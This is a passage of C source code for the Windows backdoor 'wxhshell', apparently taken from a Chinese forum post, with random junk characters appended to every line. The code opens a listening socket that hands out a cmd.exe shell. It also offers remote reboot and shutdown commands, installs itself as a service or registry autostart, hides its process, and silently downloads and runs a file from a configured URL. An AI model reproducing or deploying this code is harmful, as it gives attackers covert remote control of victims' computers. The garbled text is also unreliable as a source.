  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lRr-S%  
  } [VW;L l  
  else { zFr}$  
9%qMZP0]  
    switch(cmd[0]) { Mg$9'a"[\  
  >i%w'uU  
  // 帮助 uLM_KZ  
  case '?': { Fc~w`~tv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H=#Jg;_w  
    break; eLny-.i ,7  
  } z)>{O3  
  // 安装 af(JoX*U  
  case 'i': { e;5Lv9?C8  
    if(Install()) rk|(BA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %6'D!H?d  
    else )1}g7:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u&XkbPZ%4c  
    break; |q2lTbJ  
    } {UBQ?7.jE  
  // 卸载 i@Zj 7#e*  
  case 'r': { e}[we:  
    if(Uninstall()) B?y t%f1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :(`>bY  
    else CJixK>Y^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~bTae =FP  
    break; ;x^,t@ xge  
    } S\5k' ifh  
  // 显示 wxhshell 所在路径 b H_pNx81  
  case 'p': { c$kb0VR  
    char svExeFile[MAX_PATH]; ON0+:`3\  
    strcpy(svExeFile,"\n\r"); Td1ba^J  
      strcat(svExeFile,ExeFile); *v ^"4  
        send(wsh,svExeFile,strlen(svExeFile),0); Sp,Q,Q4  
    break; %i>e  
    } |S:!+[  
  // 重启 b6vYM_ Q  
  case 'b': { -0 da"AB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oB R(7U ~0  
    if(Boot(REBOOT))  MK"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \_AEuz3 F  
    else { &AcFa<U  
    closesocket(wsh); #L:P R>  
    ExitThread(0); "q^'5p]  
    } &vX!7 Y  
    break; V )k, 9=  
    } y32++b!  
  // 关机 MW~B[%/  
  case 'd': { 9[{>JRm.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ai jGz<  
    if(Boot(SHUTDOWN)) LIC~Kehi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l\;mP.!  
    else { Jx$#GUl#j  
    closesocket(wsh); |QOJ9~hxD  
    ExitThread(0); Y;F R"~^  
    } ?s)sPM?  
    break; ,Kf8T9z`  
    } -wQ^oOJ  
  // 获取shell  7EP|X.  
  case 's': { ]esLAo  
    CmdShell(wsh); Gj19KQ1G  
    closesocket(wsh); +`zi>=  
    ExitThread(0); L1kM~M  
    break; Y\e]2  
  } ,/`E|eG1G  
  // 退出 C!{AnWf  
  case 'x': { iEVA[xy=D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); | 58 !A]  
    CloseIt(wsh); YB B$uGA  
    break; G7A bhb,  
    } ob0 8xGj  
  // 离开 V<2fPDZ  
  case 'q': { w;@25= |  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /rxltF3  
    closesocket(wsh); ZoON5P>  
    WSACleanup(); cia-OVX  
    exit(1); L\m!8o4  
    break; <cv2-?L{  
        } 'gZbNg=&[  
  } H<Kkj  
  } vk)0n=  
0 \Yx.\X,  
  // 提示信息 ,0uo&/Y4L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [AX"ne# M*  
} [TK? P0  
  } +'['HQ)  
|@ZqwC=  
  return; 2PR7M.V 7  
} >mFX^t_,  
}u-S j/K  
// shell模块句柄 l IVxW+  
int CmdShell(SOCKET sock) w"a 9'r  
{ vDW&pF_eI>  
STARTUPINFO si; 4l ZJb  
ZeroMemory(&si,sizeof(si)); HKiVEg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H*{k4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r=DHt&x=  
PROCESS_INFORMATION ProcessInfo; Ue3B+k9w  
char cmdline[]="cmd"; G?1x+H;o5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JC&6q >$  
  return 0; @0ov!9]Rw-  
} ] `B,L*m6  
jj3Pf>D+k  
// 自身启动模式 Vo9>o@FlLM  
int StartFromService(void) <DXmZ1  
{ D#d8^U  
typedef struct tCbr<Ug  
{ 0ck&kpL:9  
  DWORD ExitStatus; eMN+qkvH  
  DWORD PebBaseAddress; Wg` +u  
  DWORD AffinityMask; (3ZvXpzvF  
  DWORD BasePriority; =s0g2Zv"\  
  ULONG UniqueProcessId; p fL2v,]g  
  ULONG InheritedFromUniqueProcessId; r}R^<y@I  
}   PROCESS_BASIC_INFORMATION; dqD;y#/  
E#<7\ p>  
PROCNTQSIP NtQueryInformationProcess; EvqUNnjR  
i'!jx.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cBab2/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8lOZ IbwS  
BZJKiiD  
  HANDLE             hProcess; C!7U<rI  
  PROCESS_BASIC_INFORMATION pbi; @1<omsl  
#.)xm(Ys  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T/wM(pr'   
  if(NULL == hInst ) return 0; Mu'^OX82  
d<^_w!4X}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [_ M6/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -_2Dy1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dd \bI_  
.'5'0lR5  
  if (!NtQueryInformationProcess) return 0; 8Wdkztp/S  
Ii~; d3.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0{0;1.ZP  
  if(!hProcess) return 0; PyC;f8n'(  
(B>)2:T1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TRgY:R_  
M8^.19q;  
  CloseHandle(hProcess); b&=]S(  
e86Aqehle  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'bB>$E  
if(hProcess==NULL) return 0; Mx/h?}u;  
$yDW.pt  
HMODULE hMod; 1Q&cVxA"\  
char procName[255]; tLS<0  
unsigned long cbNeeded; E\R raPkQT  
=MTj4VXh"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <#xrrRhm}  
R=\v3m  
  CloseHandle(hProcess); ]`zjRRd  
M8 iEVJ  
if(strstr(procName,"services")) return 1; // 以服务启动 >.J'L5 x$  
W[R]^2QAG  
  return 0; // 注册表启动 $zC6(C(l  
} cs K>iN  
UvPp~N 7,  
// 主模块 gf0PMc3l  
int StartWxhshell(LPSTR lpCmdLine) /:#j ?c  
{ :v#k&Uh3y  
  SOCKET wsl; W *YW6  
BOOL val=TRUE; j6n2dMRvSE  
  int port=0; EvwbhvA(  
  struct sockaddr_in door; 0=OD?48<  
E x_L!9>!  
  if(wscfg.ws_autoins) Install(); D^,\cZbY  
M'\pkzx  
port=atoi(lpCmdLine); 'rS'B.D  
WYSck&9  
if(port<=0) port=wscfg.ws_port; T?H\&2CLT  
ZJ^s}  
  WSADATA data; C0\%QXu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t-!Rgg$9  
Z,0O/RFJ.q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /K_ i8!y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :~t<L%tYF  
  door.sin_family = AF_INET; r~)VGdB+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UG6M9  
  door.sin_port = htons(port); xe(MHNrj  
oz%h)#;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /"(b.&  
closesocket(wsl); wX-RQ[2X  
return 1; myD{sE2A  
} 1 h<fJzh  
dKU5;  
  if(listen(wsl,2) == INVALID_SOCKET) { cICHRp&&  
closesocket(wsl); S\B5&W  
return 1; S&n[4*  
} d2ohW|  
  Wxhshell(wsl); &c20x+  
  WSACleanup();  "\`>2  
+jcdf}  
return 0; 4w@v#H@  
>P(eW7RL  
} -<O JqB  
)j\r,9<K+5  
// 以NT服务方式启动 9#u}^t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?^U c=  
{ BApa^j\?  
DWORD   status = 0; ]X*YAPv  
  DWORD   specificError = 0xfffffff; 9^oo-,Su_  
GL/  KB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /a%*u6z@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9QX4R<"wUg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l#Yx TY  
  serviceStatus.dwWin32ExitCode     = 0; 7k>zuzRyF  
  serviceStatus.dwServiceSpecificExitCode = 0; Q5g,7ac8L  
  serviceStatus.dwCheckPoint       = 0; bpGzTU  
  serviceStatus.dwWaitHint       = 0; HP;|'b  
Wt(Kd5k0'2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?;Un#6b  
  if (hServiceStatusHandle==0) return; =Qyqfy*@D?  
6mwvI4)  
status = GetLastError(); # 2d,U\_  
  if (status!=NO_ERROR) Pow|:Lau!  
{ ,`<]>;s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bgf=\7;5  
    serviceStatus.dwCheckPoint       = 0; mLJDxh'B  
    serviceStatus.dwWaitHint       = 0; $>;a 'f~  
    serviceStatus.dwWin32ExitCode     = status; ?k"0w)8  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7 xUE,)?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Mw}R6g@#  
    return; .M8=^,h^K  
  } B0v|{C   
C]/&vh7ta  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FK6K6wU52m  
  serviceStatus.dwCheckPoint       = 0; Z^<Sj5}6  
  serviceStatus.dwWaitHint       = 0; rmoJ =.'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #7+]%;h  
} I:nI6gF  
WI6(#8^p  
// 处理NT服务事件,比如:启动、停止 >ZX|4U[$P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jSB'>m]  
{ q=njKC  
switch(fdwControl) ;:U<ce=  
{ O'OFz}x),  
case SERVICE_CONTROL_STOP: A9t8`|1"%H  
  serviceStatus.dwWin32ExitCode = 0; Gp,'kw"I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :v_w!+,/  
  serviceStatus.dwCheckPoint   = 0; x=h0Fq ,T  
  serviceStatus.dwWaitHint     = 0; 4HW;  
  { o'96ON0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b9y)wBC%`  
  } G,B?&gFX  
  return; r4EoJyt  
case SERVICE_CONTROL_PAUSE: KhrFg1|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *(icR  
  break; Z&A0hI4d  
case SERVICE_CONTROL_CONTINUE: TQ?#PRB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X>}@EHT  
  break; :Z[(A"dA  
case SERVICE_CONTROL_INTERROGATE: ~U9q-/(J/  
  break; 4Ppop  
}; &; s<dDQK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); };^}2Xo+  
} ]'tJ S]  
4b=Gg  
// 标准应用程序主函数 \KCWYi]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N2T&,&, t  
{ YIO.yN"0  
'^DUq?E4  
// 获取操作系统版本 >4~#%&  
OsIsNt=GetOsVer(); W1hX?!xp!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -n-Z/5~ X  
" <Qm -  
  // 从命令行安装 s@PLS5d"  
  if(strpbrk(lpCmdLine,"iI")) Install(); QypZH"Np  
JDKLKHOMZ  
  // 下载执行文件 Ts#pUoE~+H  
if(wscfg.ws_downexe) { Wa<-AZnh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {<!hlB  
  WinExec(wscfg.ws_filenam,SW_HIDE); %P;[fJ `G  
} QAi1,+y]7w  
u3ST;  
if(!OsIsNt) { ^;4YZwW5w  
// 如果时win9x,隐藏进程并且设置为注册表启动 a5)JkC  
HideProc(); 1U'ZVJ5bpK  
StartWxhshell(lpCmdLine); #hy+ L  
} AC'lS >7s  
else >P<'L4;  
  if(StartFromService()) zC#%6@P\  
  // 以服务方式启动 6m@0;Ht  
  StartServiceCtrlDispatcher(DispatchTable); -zdmr"CA  
else PV(4$I}  
  // 普通方式启动 z-I|h~ii  
  StartWxhshell(lpCmdLine); _-RyHgX  
8RU.}PD  
return 0; =gs~\q  
}
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只看该作者 1 发表于: 2006-10-10
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